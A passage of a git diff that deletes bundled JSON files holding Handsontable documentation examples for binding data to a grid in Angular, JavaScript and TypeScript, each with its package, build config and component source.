\"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\n@Component({\n selector: 'example4-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: (columnIndex: number) => {\n switch (columnIndex) {\n case 0:\n return { data: 'id' };\n case 1:\n return { data: 'name.first' };\n case 2:\n return { data: 'name.last' };\n case 3:\n return { data: 'address' };\n default:\n return {};\n }\n },\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example4.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example5.ts.json deleted file mode 100644 index 35d85a14..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\n@Component({\n selector: 'example5-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'address' },\n ],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example5.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example6.ts.json deleted file mode 100644 index 7b12f175..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example6.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example6-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [];\n readonly gridSettings: GridSettings = {\n dataSchema: {\n id: null,\n name: {\n first: null,\n last: null,\n },\n address: null,\n },\n startRows: 5,\n startCols: 4,\n colHeaders: ['ID', 'First Name', 'Last Name', 'Address'],\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'address' },\n ],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example6.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example7.ts.json deleted file mode 100644 index 7467c403..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example7.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Function data source and schema · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, Type } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\ninterface Person {\n id: number | undefined;\n name: string | undefined;\n address: string | undefined;\n attr: (attr: string, val?: Handsontable.CellValue) => keyof Person | Person;\n}\n\ninterface ModelOptions {\n [x: string]: any;\n id?: number;\n name?: string;\n address?: string;\n hasOwnProperty?: (prop: string) => boolean;\n}\n\ntype PrivPerson = {\n [K in keyof Person]: Person[K];\n} & { [key: string]: any };\n\nfunction model(opts: ModelOptions): Partial {\n const _pub: Partial = {\n id: undefined,\n name: undefined,\n address: undefined,\n attr: undefined,\n };\n\n const _priv: Partial = {};\n\n for (const i in opts) {\n if (opts.hasOwnProperty && opts.hasOwnProperty(i)) {\n _priv[i] = opts[i];\n }\n }\n\n _pub.attr = function (\n attr: keyof Person | string,\n val?: Handsontable.CellValue\n ) {\n if (typeof val === 'undefined') {\n window.console && console.log('GET the', attr, 'value of', _pub);\n\n return _priv[attr];\n }\n\n window.console && console.log('SET the', attr, 'value of', _pub);\n _priv[attr] = val;\n\n return _pub;\n };\n\n return _pub;\n}\n\nfunction property(attr: keyof Person | string) {\n return (row: Handsontable.RowObject | Handsontable.CellValue[], value?: Handsontable.CellValue) =>\n (row as unknown as Person).attr(attr, value);\n}\n\n@Component({\n selector: 'example7-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n model({ id: 1, name: 'Ted Right', address: '' }),\n model({ id: 2, name: 'Frank Honest', address: '' }),\n model({ id: 3, name: 'Joan Well', address: '' }),\n model({ id: 4, name: 'Gail Polite', address: '' }),\n model({ id: 5, name: 'Michael Fair', address: '' }),\n ];\n\n readonly gridSettings: GridSettings = {\n dataSchema: model,\n height: 'auto',\n width: 'auto',\n colHeaders: ['ID', 'Name', 'Address'],\n columns: [\n { data: property('id') },\n { data: property('name') },\n { data: property('address') },\n ],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example7.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example1.js.json deleted file mode 100644 index 06c14d99..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 110, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nnew Handsontable(container, {\n data,\n startRows: 5,\n startCols: 5,\n height: 'auto',\n width: 'auto',\n colHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example1.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example1.ts.json deleted file mode 100644 index d75a1b78..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst data: (string | number)[][] = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 110, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nnew Handsontable(container, {\n data,\n startRows: 5,\n startCols: 5,\n height: 'auto',\n width: 'auto',\n colHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example1.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example2.js.json deleted file mode 100644 index fa9f0b2c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
